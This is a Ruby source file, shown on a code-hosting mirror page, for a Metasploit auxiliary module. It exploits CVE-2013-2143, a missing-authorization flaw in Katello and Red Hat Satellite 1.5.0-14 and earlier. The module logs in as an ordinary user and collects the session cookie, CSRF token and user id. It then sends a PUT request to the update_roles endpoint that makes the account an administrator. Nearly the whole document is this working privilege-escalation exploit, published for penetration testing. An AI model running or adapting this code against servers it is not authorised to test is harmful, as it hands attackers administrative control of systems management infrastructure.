Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
9
def initialize
10
super(
11
'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization',
12
'Description' => %q{
13
This module exploits a missing authorization vulnerability in the
14
"update_roles" action of "users" controller of Katello and Red Hat Satellite
15
(Katello 1.5.0-14 and earlier) by changing the specified account to an
16
administrator account.
17
},
18
'Author' => 'Ramon de C Valle',
19
'License' => MSF_LICENSE,
20
'References' => [
21
['CVE', '2013-2143'],
22
['CWE', '862'],
23
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=970849']
24
],
25
'DisclosureDate' => 'Mar 24 2014',
26
'Notes' => {
27
'Stability' => [CRASH_SAFE],
28
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
29
'Reliability' => []
30
}
31
)
32
33
register_options(
34
[
35
Opt::RPORT(443),
36
OptBool.new('SSL', [true, 'Use SSL', true]),
37
OptString.new('USERNAME', [true, 'Your username']),
38
OptString.new('PASSWORD', [true, 'Your password']),
39
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
40
]
41
)
42
end
43
44
def run
45
print_status("Logging into #{target_url}...")
46
res = send_request_cgi(
47
'method' => 'GET',
48
'uri' => normalize_uri(target_uri.path, 'user_session', 'new'),
49
'vars_get' => {
50
'username' => datastore['USERNAME'],
51
'password' => datastore['PASSWORD']
52
}
53
)
54
55
if res.nil?
56
print_error('No response from remote host')
57
return
58
end
59
60
if res.headers['Location'] =~ %r{user_session/new$}
61
print_error('Authentication failed')
62
return
63
else
64
session = ::Regexp.last_match(1) if res.get_cookies =~ /_katello_session=(\S*);/
65
66
if session.nil?
67
print_error('Failed to retrieve the current session')
68
return
69
end
70
end
71
72
print_status('Retrieving the CSRF token for this session...')
73
res = send_request_cgi(
74
'cookie' => "_katello_session=#{session}",
75
'method' => 'GET',
76
'uri' => normalize_uri(target_uri.path, 'dashboard')
77
)
78
79
if res.nil?
80
print_error('No response from remote host')
81
return
82
end
83
84
if res.headers['Location'] =~ %r{user_session/new$}
85
print_error('Authentication failed')
86
return
87
else
88
session = ::Regexp.last_match(1) if res.get_cookies =~ /_katello_session=(\S*);/
89
90
if session.nil?
91
print_error('Failed to retrieve the current session')
92
return
93
end
94
end
95
96
if res.headers['Location'] =~ %r{user_session/new$}
97
print_error('Failed to retrieve the user id')
98
return
99
else
100
csrf_token = ::Regexp.last_match(1) if res.body =~ %r{<meta +content="(\S*)" +name="csrf-token" */?>}i
101
if csrf_token.nil? && (res.body =~ %r{<meta +name="csrf-token" +content="(\S*)" */?>}i)
102
csrf_token = ::Regexp.last_match(1)
103
end
104
105
if csrf_token.nil?
106
print_error('Failed to retrieve the CSRF token')
107
return
108
end
109
110
user = ::Regexp.last_match(1) if res.body =~ %r{/users.(\d+)#list_search=#{datastore['USERNAME']}}
111
112
if user.nil?
113
print_error('Failed to retrieve the user id')
114
return
115
end
116
end
117
118
print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...")
119
res = send_request_cgi(
120
'cookie' => "_katello_session=#{session}",
121
'headers' => {
122
'X-CSRF-Token' => csrf_token
123
},
124
'method' => 'PUT',
125
'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'),
126
'vars_post' => {
127
'user[role_ids][]' => '1'
128
}
129
)
130
131
if res.nil?
132
print_error('No response from remote host')
133
return
134
end
135
136
if res.headers['X-Message-Type'] =~ /success$/
137
print_good('User updated successfully')
138
else
139
print_error('Failed to update user')
140
end
141
end
142
143
def target_url(*args)
144
(ssl ? 'https' : 'http') +
145
if rport.to_i == 80 || rport.to_i == 443
146
"://#{vhost}"
147
else
148
"://#{vhost}:#{rport}"
149
end + normalize_uri(target_uri.path, *args)
150
end
151
end
152
153